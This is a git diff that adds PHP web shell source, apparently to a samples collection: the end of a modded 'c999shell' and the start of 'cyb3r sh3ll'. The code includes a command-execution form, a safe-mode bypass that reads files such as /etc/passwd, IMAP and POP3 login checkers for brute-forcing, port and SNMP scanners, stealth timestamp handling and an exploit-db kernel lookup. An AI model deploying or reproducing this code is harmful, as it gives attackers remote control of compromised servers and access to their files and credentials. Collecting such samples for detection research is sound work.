+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} + natsort($images); + $k = array_keys($images); + echo "
    "; + foreach ($k as $u) {echo $u.":
    ";} + echo "
    "; + } + exit; +} +if ($act == "about") {echo "
    Credits:
    Idea, leading and coding by tristram[CCTeaM].
    Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].
    Thanks all who report bugs.
    All bugs send to tristram's ICQ #656555 .
    ";} +?> +
    + +

    :: Command execute ::

    Enter:
     
    Select:
     
    +
    + + + + + +

    :: Shadow's tricks :D ::

    +
    Useful Commands +
    +
    +
    + + + + +   + +
    + Warning. Kernel may be alerted using higher levels
    +
    +
    +
    Kernel Info:
    + + + + + + +
    +

    + + + + + +

    :: Preddy's tricks :D ::

    +
    Php Safe-Mode Bypass (Read Files) +

    +
    +
    + File:

    eg: /etc/passwd
    + + + + + + + Trying To Get File $get
    "; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "
    Start $get

    $source

    Fin $get
    "; + unlink($temp); + } else { + die("
    Sorry... File + ".htmlspecialchars($file)." dosen't exists or you don't have + access.
    "); + } + echo "
    "; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + $chemin
    "; +foreach ($files as $filename) { + echo "
    ";
    +   echo "$filename\n";
    +   echo "
    "; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + +
    +
    +
    +
    +
    Php Safe-Mode Bypass (List Directories):
    +

    + Dir:

    eg: /etc/
    + +
    +

    + + + + + + + +
    :: Search ::
      - regexp 

    :: Upload ::
     
    +
    :: Make Dir ::
     
    :: Make File ::
     
    +
    :: Go Dir ::
     
    :: Go File ::
     
    +

    --[ c999shell v. Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: ]--

    + \ No newline at end of file diff --git a/data/samples/classic/cyb3rsh3ll.php b/data/samples/classic/cyb3rsh3ll.php new file mode 100644 index 0000000..e0e0095 --- /dev/null +++ b/data/samples/classic/cyb3rsh3ll.php @@ -0,0 +1,7923 @@ +$v) { + if (strtoupper($k) != "GLOBALS") { + strips($arr["$k"]); + } + } + } else { + $arr = stripslashes($arr); + } + } + } + strips($GLOBALS); +} + +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} +if (!empty($unset_surl)) {setcookie("cyb3r_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("cyb3r_surl",$surl);} +else {$surl = $_REQUEST["cyb3r_surl"]; //Set this cookie for manual SURL + +} +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. +if ($surl_autofill_include and !$_REQUEST["cyb3r_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} + +if (empty($surl)) +{ $surl = "?".$includestr; }//Self url +$surl = htmlspecialchars($surl); +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +$welcome = "(: Welcome to the most advanced PHP Web Shell - cyb3r sh3ll :)"; +//DON'T FORGOT ABOUT PASSWORD!!! + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$gzipencode = False; //Encode with gzip? + +$ax4 ="http://"; +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "
    Owned by cyb3r.gladiat0r
    "; +$release = @php_uname('r'); +$kernel = @php_uname('s'); +$expltlink='http://www.exploit-db.com/search/?action=search&filter_exploit_text='; +if( strpos('Linux', $kernel) !== false ) + $expltlink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); +else + $expltlink .= urlencode( $kernel . ' ' . substr($release,0,3) ); + +/* If you publish free shell and you wish add link to your site or any other information, put here your html. */ + +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder + +//$curdir = getenv("DOCUMENT_ROOT"); +$curdir = getcwd(); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) + +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending + +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0; +function imaplogiN($host,$username,$password){ +$sock=fsockopen($host,143,$n,$s,5); +$b=namE(); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +if ($res == "$b OK")return 1;else return 0; +fclose($sock); +} +function pop3logiN($server,$user,$pass){ +$sock=fsockopen($server,110,$en,$es,5); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function check_urL($url,$method,$search,$timeout){ +if(empty($search))$search='200'; +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=@fsockopen($host,80,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;} +while(!feof($sock)){ +$res=trim(fgets($sock)); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). +$com. chr(0xA0). +chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n. +chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C). +chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01). +chr(0x01). chr(0x01). $n. chr(0x05). $n; +$sock=@fsockopen("udp://$ip",161); +socket_set_timeout($sock,$timeout); +@fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +return $res; +} +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=@fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=@fsockopen("udp://".$ip,$port); +if($scan){ +socket_set_timeout($scan,$timeout); +@fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=@fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=namE().namE(); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function getDisabledFunctions(){ + if(!ini_get('disable_functions')) + { + echo "None"; + } + else + { + echo @ini_get('disable_functions'); + } +} +function showsizE($size){ +if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; +elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; +elseif 